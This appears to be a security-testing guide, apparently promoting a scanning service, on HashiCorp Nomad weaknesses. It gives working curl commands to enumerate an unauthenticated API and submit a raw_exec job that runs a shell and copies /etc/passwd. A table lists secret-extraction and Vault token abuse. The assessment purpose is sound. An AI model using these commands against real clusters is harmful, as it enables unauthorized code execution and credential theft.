HashiCorp Nomad is a flexible workload orchestrator that schedules containers, VMs, and raw executables across a cluster. Its default security posture prioritizes ease of use: the HTTP API on port 4646 requires no authentication by default, allowing any network-reachable user to submit jobs, list running workloads, and access cluster state; Nomad's raw_exec driver executes commands directly on the Nomad client OS without any container isolation — if enabled, submitting a job with this driver gives OS-level code execution on every client node; Nomad workload identity JWTs are issued to jobs and can be used to authenticate to Vault for secrets access — over-broad Vault policies mean a compromised job can access secrets for other workloads; and Nomad's ACL system, when enabled, uses tokens that are often stored insecurely in configuration files or leaked via log output. This guide covers systematic Nomad security assessment.
# Nomad default ports: 4646 (HTTP API + UI), 4647 (RPC), 4648 (Serf)
# Check Nomad API access (no auth required on default deployments)
curl -s http://nomad.example.com:4646/v1/agent/self 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Nomad version: {data.get('config',{}).get('Version',{}).get('Version','?')}\")
print(f\"Region: {data.get('config',{}).get('Region','?')}\")
print(f\"Datacenter: {data.get('config',{}).get('Datacenter','?')}\")
" 2>/dev/null
# List all jobs (no auth)
curl -s "http://nomad.example.com:4646/v1/jobs" 2>/dev/null | \
python3 -c "
import json,sys
jobs = json.load(sys.stdin)
print(f'Running jobs: {len(jobs)}')
for j in jobs[:10]:
print(f\" {j.get('ID','?')} type={j.get('Type','?')} status={j.get('Status','?')} ns={j.get('Namespace','?')}\")
" 2>/dev/null
# List all nodes in the cluster
curl -s "http://nomad.example.com:4646/v1/nodes" 2>/dev/null | \
python3 -c "
import json,sys
nodes = json.load(sys.stdin)
print(f'Cluster nodes: {len(nodes)}')
for n in nodes[:5]:
print(f\" {n.get('ID','?')[:8]} {n.get('Name','?')} status={n.get('Status','?')} drivers={list(n.get('Drivers',{}).keys())}\")
" 2>/dev/null | head -20
# The raw_exec driver executes commands directly on the Nomad client (no container)
# Check if any node has raw_exec enabled
curl -s "http://nomad.example.com:4646/v1/nodes" 2>/dev/null | \
python3 -c "
import json,sys
nodes = json.load(sys.stdin)
for n in nodes:
drivers = n.get('Drivers', {})
if 'raw_exec' in drivers and drivers['raw_exec'].get('Detected', False):
print(f\"raw_exec enabled on node: {n.get('Name','?')} ({n.get('ID','?')[:8]})\")
" 2>/dev/null
# Submit a job using raw_exec to execute commands on the Nomad client OS
curl -s -X POST "http://nomad.example.com:4646/v1/jobs" \
-H "Content-Type: application/json" \
-d '{
"Job": {
"ID": "rce-test",
"Name": "rce-test",
"Type": "batch",
"Datacenters": ["dc1"],
"TaskGroups": [{
"Name": "rce",
"Count": 1,
"Tasks": [{
"Name": "shell",
"Driver": "raw_exec",
"Config": {
"command": "/bin/sh",
"args": ["-c", "id > /tmp/nomad_rce.txt && cat /etc/passwd >> /tmp/nomad_rce.txt"]
}
}]
}]
}
}' 2>/dev/null | python3 -m json.tool | head -5
nomad acl bootstrap and require tokens for all API access; disable anonymous accessraw_exec { enabled = false } in the Nomad client configuration unless specifically required| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated HTTP API access | GET /v1/jobs — lists all running jobs without credentials; cluster-wide access | Critical |
| raw_exec driver enables host OS RCE | Submit batch job with raw_exec driver — executes commands directly on Nomad client OS | Critical |
| Job environment variables reveal secrets | GET /v1/job/{id}/allocations → GET /v1/allocation/{id} — env vars contain API keys and passwords | High |
| Workload identity JWT grants Vault access | Extract JWT from running allocation — use to authenticate to Vault with job's policy | High |
| ACL bootstrap token in config files | Read nomad.hcl or environment — bootstrap token grants full cluster admin access | High |
| Serf gossip without encryption | Capture port 4648 traffic — unencrypted gossip reveals cluster membership and metadata | Medium |
Ironimo tests Nomad deployments for unauthenticated HTTP API access allowing job submission and cluster enumeration, raw_exec driver enabled on client nodes enabling host OS code execution, job environment variable extraction revealing embedded secrets, workload identity JWT abuse for cross-job Vault access, ACL bootstrap token exposure in configuration files, and unencrypted Serf gossip exposing cluster topology.
Start free scan